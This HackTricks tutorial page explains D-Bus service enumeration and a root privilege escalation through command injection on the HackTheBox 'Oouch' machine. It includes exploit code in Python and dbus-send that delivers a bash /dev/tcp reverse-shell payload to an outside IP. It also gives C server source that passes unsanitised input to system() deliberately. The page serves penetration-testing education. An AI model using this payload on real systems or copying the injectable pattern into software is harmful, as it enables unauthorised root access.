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https://github.com/carlospolop/hacktricks
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482 lines
23 KiB
Markdown
482 lines
23 KiB
Markdown
# D-Bus Enumeration & Command Injection Privilege Escalation
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## **GUI enumeration**
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**(This enumeration info was taken from **[**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)**
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Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by **privileged services to expose system-wide relevant services**, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages.
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Each service is defined by the **objects **and **interfaces** that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its **object path** – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the **org.freedesktop.DBus.Introspectable** interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals.
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I used two tools to communicate with the D-Bus interface: CLI tool named **gdbus**, which allows to easily call D-Bus exposed methods in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python based GUI tool that helps to enumerate the available services on each bus and to see which objects each service contains.
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```bash
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sudo apt-get install d-feet
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```
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_Figure 1. D-Feet main window_
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_Figure 2. D-Feet interface window_
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On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the **org.debin.apt** service, and D-Feet automatically **queried the service for all the available objects**. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each **IPC exposed method**.
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We can also see the** pid of the process** that hosts each service, as well as its **command line**. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research.
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D-Feet also allows one to call the various methods. In the method input screen we can specify a list of Python expressions, delimited by commas, to be interpreted as the parameters to the invoked function, shown in Figure 3. Python types are marshaled to D-Bus types and passed to the service.
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_Figure 3. Calling D-Bus Methods through D-Feet_
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Some methods require authentication before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place.
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_Figure 4. A method that requires authorization_
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Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not.
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## **Cmd line Enumeration**
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### List Service Objects
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It's possible to list opened D-Bus interfaces with:
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```bash
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busctl list #List D-Bus interfaces
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NAME PID PROCESS USER CONNECTION UNIT SE
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:1.0 1 systemd root :1.0 init.scope -
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:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
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:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
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:1.3 2609 dbus-server root :1.3 dbus-server.service -
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:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
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:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
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:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -
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:1.820 6583 systemd qtc :1.820 user@1000.service -
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com.ubuntu.SoftwareProperties - - - (activatable) - -
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fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
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fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
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htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
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org.bluez - - - (activatable) - -
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org.freedesktop.DBus 1 systemd root - init.scope -
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org.freedesktop.PackageKit - - - (activatable) - -
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org.freedesktop.PolicyKit1 - - - (activatable) - -
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org.freedesktop.hostname1 - - - (activatable) - -
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org.freedesktop.locale1 - - - (activatable) - -
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```
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#### Connections
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When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character.
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### Service Object Info
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Then, you can obtain some information about the interface with:
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```bash
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busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
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PID=2609
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PPID=1
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TTY=n/a
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UID=0
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EUID=0
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SUID=0
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FSUID=0
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GID=0
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EGID=0
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SGID=0
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FSGID=0
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SupplementaryGIDs=
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Comm=dbus-server
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CommandLine=/root/dbus-server
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Label=unconfined
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CGroup=/system.slice/dbus-server.service
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Unit=dbus-server.service
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Slice=system.slice
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UserUnit=n/a
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UserSlice=n/a
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Session=n/a
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AuditLoginUID=n/a
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AuditSessionID=n/a
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UniqueName=:1.3
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EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
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cap_fowner cap_fsetid cap_kill cap_setgid
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cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
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cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
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cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
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cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
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cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
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cap_mknod cap_lease cap_audit_write cap_audit_control
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cap_setfcap cap_mac_override cap_mac_admin cap_syslog
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cap_wake_alarm cap_block_suspend cap_audit_read
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PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
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cap_fowner cap_fsetid cap_kill cap_setgid
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cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
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cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
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cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
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cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
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cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
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cap_mknod cap_lease cap_audit_write cap_audit_control
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cap_setfcap cap_mac_override cap_mac_admin cap_syslog
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cap_wake_alarm cap_block_suspend cap_audit_read
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InheritableCapabilities=
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BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
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cap_fowner cap_fsetid cap_kill cap_setgid
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cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
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cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
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cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
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cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
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cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
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cap_mknod cap_lease cap_audit_write cap_audit_control
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cap_setfcap cap_mac_override cap_mac_admin cap_syslog
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cap_wake_alarm cap_block_suspend cap_audit_read
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```
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### List Interfaces of a Service Object
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You need to have enough permissions.
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```bash
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busctl tree htb.oouch.Block #Get Interfaces of the service object
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└─/htb
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└─/htb/oouch
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└─/htb/oouch/Block
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```
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### Introspect Interface of a Service Object
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Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_):
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```bash
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busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
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NAME TYPE SIGNATURE RESULT/VALUE FLAGS
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htb.oouch.Block interface - - -
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.Block method s s -
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org.freedesktop.DBus.Introspectable interface - - -
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.Introspect method - s -
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org.freedesktop.DBus.Peer interface - - -
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.GetMachineId method - s -
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.Ping method - - -
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org.freedesktop.DBus.Properties interface - - -
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.Get method ss v -
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.GetAll method s a{sv} -
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.Set method ssv - -
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.PropertiesChanged signal sa{sv}as - -
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```
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Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string.
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### Monitor/Capture Interface
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With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**.
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In order to **monitor** a **communication** you will need to be **root. **If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
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{% hint style="warning" %}
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If you know how to configure a D-Bus config file to** allow non root users to sniff **the communication please **contact me**!
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{% endhint %}
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Different ways to monitor:
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```bash
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sudo busctl monitor htb.oouch.Block #Monitor only specified
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sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
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sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
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```
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In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**:
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```bash
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busctl monitor htb.oouch.Block
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Monitoring bus message stream.
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‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
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Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
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UniqueName=:1.1376
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MESSAGE "s" {
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STRING "lalalalal";
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};
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‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
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Sender=:1.3 Destination=:1.1376
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UniqueName=:1.3
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MESSAGE "s" {
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STRING "Carried out :D";
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};
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```
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You can use `capture` instead of `monitor` to save the results in a pcap file.
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#### Filtering all the noise <a href="filtering_all_the_noise" id="filtering_all_the_noise"></a>
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If there is just too much information on the bus, pass a match rule like so:
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```bash
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dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
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```
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Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so:
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```bash
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dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
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```
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```bash
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dbus-monitor "type=method_call" "type=method_return" "type=error"
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```
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See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax.
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### More
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`busctl` have even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html).
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## **Vulnerable Scenario**
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As user **qtc inside the host "oouch" from HTB **you can find an **unexpected D-Bus config file** located in_ /etc/dbus-1/system.d/htb.oouch.Block.conf_:
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```markup
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<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
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<!DOCTYPE busconfig PUBLIC
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"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
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"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
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<busconfig>
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<policy user="root">
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<allow own="htb.oouch.Block"/>
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</policy>
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<policy user="www-data">
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<allow send_destination="htb.oouch.Block"/>
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<allow receive_sender="htb.oouch.Block"/>
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</policy>
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</busconfig>
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```
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Note from the previous configuration that** you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication.
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As user **qtc **inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py. _This is the interesting code:
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```python
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if primitive_xss.search(form.textfield.data):
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bus = dbus.SystemBus()
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block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
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block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
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client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
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response = block_iface.Block(client_ip)
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bus.close()
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return render_template('hacker.html', title='Hacker')
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```
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As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client_ip".
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In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening **in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\
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**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
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### Exploit it
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At the end of this page you can find the** complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the **_**D-Bus object path**_ **and **_**interface name**_** are registered**. This information will be necessary to send information to the D-Bus connection:
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```c
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/* Install the object */
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r = sd_bus_add_object_vtable(bus,
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&slot,
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"/htb/oouch/Block", /* interface */
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"htb.oouch.Block", /* service object */
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block_vtable,
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NULL);
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```
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Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_):
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```c
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SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
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```
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#### Python
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The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_):
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```python
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import dbus
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bus = dbus.SystemBus()
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block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
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block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
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runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
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response = block_iface.Block(runme)
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bus.close()
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```
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#### busctl and dbus-send
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```bash
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dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
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```
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* `dbus-send` is a tool used to send message to “Message Bus”
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* Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick.
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* “-system” tag is used to mention that it is a system message, not a session message (by default).
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* “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format.
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* “–dest=Dbus-Interface-Block” The address of the Dbus interface.
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* “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command.
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_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._
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### C code
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{% code title="d-bus_server.c" %}
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```c
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//sudo apt install pkgconf
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// sudo apt install libsystemd-dev
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//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <errno.h>
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#include <unistd.h>
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#include <systemd/sd-bus.h>
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static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
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char* host = NULL;
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int r;
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/* Read the parameters */
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r = sd_bus_message_read(m, "s", &host);
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if (r < 0) {
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fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
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return r;
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}
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char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
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int command_len = strlen(command);
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int host_len = strlen(host);
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char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
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if(command_buffer == NULL) {
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fprintf(stderr, "Failed to allocate memory\n");
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return -1;
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}
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sprintf(command_buffer, command, host);
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/* In the first implementation, we simply ran command using system(), since the expected DBus
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* to be threading automatically. However, DBus does not thread and the application will hang
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* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
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* multithreading)
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*/
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int pid = fork();
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if ( pid == 0 ) {
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/* Here we are in the child process. We execute the command and eventually exit. */
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system(command_buffer);
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exit(0);
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} else {
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/* Here we are in the parent process or an error occured. We simply send a genric message.
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* In the first implementation we returned separate error messages for success or failure.
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* However, now we cannot wait for results of the system call. Therefore we simply return
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* a generic. */
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return sd_bus_reply_method_return(m, "s", "Carried out :D");
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}
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r = system(command_buffer);
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}
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/* The vtable of our little object, implements the net.poettering.Calculator interface */
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static const sd_bus_vtable block_vtable[] = {
|
||
SD_BUS_VTABLE_START(0),
|
||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||
SD_BUS_VTABLE_END
|
||
};
|
||
|
||
|
||
int main(int argc, char *argv[]) {
|
||
/*
|
||
* Main method, registeres the htb.oouch.Block service on the system dbus.
|
||
*
|
||
* Paramaters:
|
||
* argc (int) Number of arguments, not required
|
||
* argv[] (char**) Argument array, not required
|
||
*
|
||
* Returns:
|
||
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
|
||
* as long as the user keeps it alive.
|
||
*/
|
||
|
||
|
||
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
|
||
signal(SIGCHLD,SIG_IGN);
|
||
|
||
sd_bus_slot *slot = NULL;
|
||
sd_bus *bus = NULL;
|
||
int r;
|
||
|
||
/* First we need to connect to the system bus. */
|
||
r = sd_bus_open_system(&bus);
|
||
if (r < 0)
|
||
{
|
||
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
|
||
goto finish;
|
||
}
|
||
|
||
/* Install the object */
|
||
r = sd_bus_add_object_vtable(bus,
|
||
&slot,
|
||
"/htb/oouch/Block", /* interface */
|
||
"htb.oouch.Block", /* service object */
|
||
block_vtable,
|
||
NULL);
|
||
if (r < 0) {
|
||
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
|
||
goto finish;
|
||
}
|
||
|
||
/* Register the service name to find out object */
|
||
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
|
||
if (r < 0) {
|
||
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
|
||
goto finish;
|
||
}
|
||
|
||
/* Infinite loop to process the client requests */
|
||
for (;;) {
|
||
/* Process requests */
|
||
r = sd_bus_process(bus, NULL);
|
||
if (r < 0) {
|
||
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
|
||
goto finish;
|
||
}
|
||
if (r > 0) /* we processed a request, try to process another one, right-away */
|
||
continue;
|
||
|
||
/* Wait for the next request to process */
|
||
r = sd_bus_wait(bus, (uint64_t) -1);
|
||
if (r < 0) {
|
||
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
|
||
goto finish;
|
||
}
|
||
}
|
||
|
||
finish:
|
||
sd_bus_slot_unref(slot);
|
||
sd_bus_unref(bus);
|
||
|
||
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||
}
|
||
```
|
||
{% endcode %}
|